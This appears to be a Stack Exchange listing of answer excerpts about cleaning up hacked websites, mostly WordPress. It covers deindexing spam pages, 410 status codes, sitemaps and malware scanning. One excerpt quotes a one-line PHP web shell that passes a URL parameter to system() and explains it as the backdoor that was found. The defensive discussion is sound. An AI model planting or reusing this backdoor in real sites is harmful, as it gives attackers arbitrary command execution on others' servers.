6
votes
Accepted
Backdoor exploit - could they have downloaded files from server?
<?php $str = $_GET['cmd']; system($str); ?>
This potentially allows the attacker to pretty much do/execute anything on your system by passing an arbitrary command in the URL query string! So, ...
- 40.9k
6
votes
My Websites were hacked - how to remove virus?
WordPress hacks are common and frustrating. There is obviously a vulnerability that is allowing them access. Most likely this is through a plugin.
To answer your questions:
Have you used anything ...
- 7,527
5
votes
Shall I submit sitemap containing all the bad (now 404) urls after the spam url hack?
In addition to @StephenOstermiller's answer, to further expedite the removal of these URLs you should:
ensure they return a "410 Gone" status (rather than simply a 404 Not Found - which is ...
- 40.9k
5
votes
Shall I submit sitemap containing all the bad (now 404) urls after the spam url hack?
Leave it as is and hope for the best.
Why you shouldn't list 404s in your sitemap.xml
Your sitemap should only contain URLs you wan't indexed. URLs in your sitemaps should be clean -they should return ...
- 4,425
5
votes
Shall I submit sitemap containing all the bad (now 404) urls after the spam url hack?
You can submit a temporary sitemap with all the hacked URLs to Google as a method for getting Googlebot to come crawl all of them quickly. When you submit a sitemap of URLs, it will trigger ...
- 93.5k
4
votes
Accepted
After site was hacked, how to remove foreign pages from Google's Index?
Don't block them from being crawled - this doesn't remove them from the index. It only stops Googlebot from looking at them.
Normally, the fastest way is to use the Search Console removal tool. For ...
- 3,828
4
votes
How to make a WP site read only
If what you say above about "no new content" is correct, then instead of attempting to harden WordPress, you could remove it completely after generating completely static output.
You can use a ...
- 5,551
3
votes
Accepted
How to force a view of meta data as Google or Bing sees it?
Google has a tool called fetch as Google that is meant for this purpose. Googlebot fetches the pages and shows you what it fetched.
Bing has an equivalent tool called fetch as Bingbot.
- 93.5k
3
votes
Accepted
These files aren't on my server. How are they showing in Google Analytics?
If you're worried about your web server, your first call should be the log files. If it was a hit to your web server, you will see it in the access logs.
However, it could also just be tracking code ...
- 146
3
votes
Accepted
My WP site was hacked. How do i find cloaked content and redirects?
You are going to need to run a virus scanner on your site - if you have cpanel it likely has clamd installed. Even then it may not pick up malware. Check the date files have been modified, if you ...
- 7,527
3
votes
Site was hacked months ago. How do i remove created pages from googles listings
What is the best way to remove these from the google search results
Make such affected pages return a 410 HTTP code.
You can use the apache mod_rewrite module (or equivalent) and write a server ...
- 13.5k
3
votes
Mysterious ico files appearing on webserver
EDITED:
This is a known php hack. If your server runs Wordpress only, plugins like Wordfence can detect and clean the infected files but if you have other php applications it will take other steps. I ...
- 31
3
votes
How to make a WP site read only
Whether this will work or not really depends on the method used to hack your site. If the attackers where able to gain remote access to your server then there is no real way to prevent later changes ...
- 10.1k
2
votes
Hacked website had it's SEO compromised, after recovery, google still index new corrupted URLs
It's completely two sepered tasks from removing hacked pages/malwares
and fixing your SERPs result.
There's no way you can properly remove particular indexes from Google even with Google Search ...
- 31
2
votes
Accepted
Mysterious ico files appearing on webserver
This is an attack targeting a PHP vulnerability with POST requests.
The attacker somehow manages to change existing PHP files with an @include statement using an encoded path that translates into one ...
- 5,867
2
votes
Site was hacked months ago. How do i remove created pages from googles listings
While I am a firm believer of a 410 over a 404 error response, this is highly dependent upon Google actually visiting each page one at a time. If your site does not enjoy frequent visitations from ...
- 32.5k
2
votes
Hacked site created foreign language tags pages, can we block them in robots.txt to remove them from Google?
If your Wordpress has been hacked, the first thing is remove the infection. Follow these instructions.
After that, you could prevent the indexing using noindex tag. You can speed up the deindexation ...
- 3,787
2
votes
Google Console Live Test shows me spammy html with Japanese characters
Thanks to the comment by @closetnoc and the helpful link to nvd.nist.gov/vuln/search I was able to troubleshoot the problem. The solution is a fresh reinstall of Wordpress on the server (Bluehost ...
- 215
2
votes
Accepted
Ensure that all pharma URLs are removed from Google after cleaning up from a hacked site
Ideally, you should be serving an immediate 410 Gone (no "redirect") for these "spam" URLs that you want to be completely removed and a 404 otherwise. Serving a 410 for every non-...
- 40.9k
1
vote
Ensure that all pharma URLs are removed from Google after cleaning up from a hacked site
I wouldn't use the 410 error code. It's better to stick with 404 error codes on all those pages you need to remove. That way, you are telling the search engines that they don't indeed exist anymore.
...
1
vote
Three of my Wordpress sites got hacked, trying to understand how and how to prevent it
You should look at if your WordPress folders on the hosting server are writeable, especially the wp-config.php file. I can easily set the siteurl and home as constants via this file and then WP on its ...
- 2,095
1
vote
My XML sitemap contains spam content, while the HTML sitemap is not. What can I do?
First scan your website using https://sitecheck.sucuri.net/ and see if you have any malicious code in your website.
Once its clean, try to remove the old xml file and then reinstall Google XML ...
- 58
1
vote
Google Search Console still reporting spammy keywords on our site even after cleaning up a hack
If the links are going to error pages on your site, there is no need to do anything about them. Google won't penalize your site in any way for having links to your site with bad anchor text that go ...
- 93.5k
1
vote
Accepted
How can I confirm if my security review request has been submitted properly in Google Search Console?
You can not confirm that your submit was correct other than the message you received when you sent it. That's the normal procedure. Right now, the process could take weeks:
Reviews for sites hacked ...
- 3,787
1
vote
Remove hacked url from google index not working
As Jonh Mueller said last year:
From our point of view, in the mid term/long term, a 404 is the same
as a 410 for us. So in both of these cases, we drop those URLs from
our index.
We ...
- 3,787
1
vote
My WP site was hacked. How do i find cloaked content and redirects?
You need to restore from backups you know are clean. Spending time trying to find every possible instance of malicious code on your site will take much longer, and you still might miss something.
- 768
1
vote
These files aren't on my server. How are they showing in Google Analytics?
There are multiple reasons that could happen. Those are the steps to try to find out the problem:
Stolen code: use a filter to add the hostname to Analytics, then check if another domain is sending ...
- 3,787
1
vote
Accepted
Is it possible to bulkly remove faulty pages from google search console?
Google will eventually stop reporting them, but they will still be on record. The good news is it has no negative consequences. One option is to change them to 410 status, so they get reported ...
- 2,491
1
vote
Indexing Japanese links after hack
In theory, these links should no longer be harming your site. In recent updates, Google has stated that bad/spammy links simply add 'no value' rather than incurring a penalty.
However, they still ...
- 3,828
1
vote
Hacked website had it's SEO compromised, after recovery, google still index new corrupted URLs
I discovered an htaccess-option to block spam-urls effectivly
RewriteRule ^(.*)(viagra|levitra|sildenafil|zilfic|cialis|vardenafil|kamagra|pfizer)(.*)$ - [NC,R=410,L]
All URLs with specific keywords ...
- 11
Only top scored, non community-wiki answers of a minimum length are eligible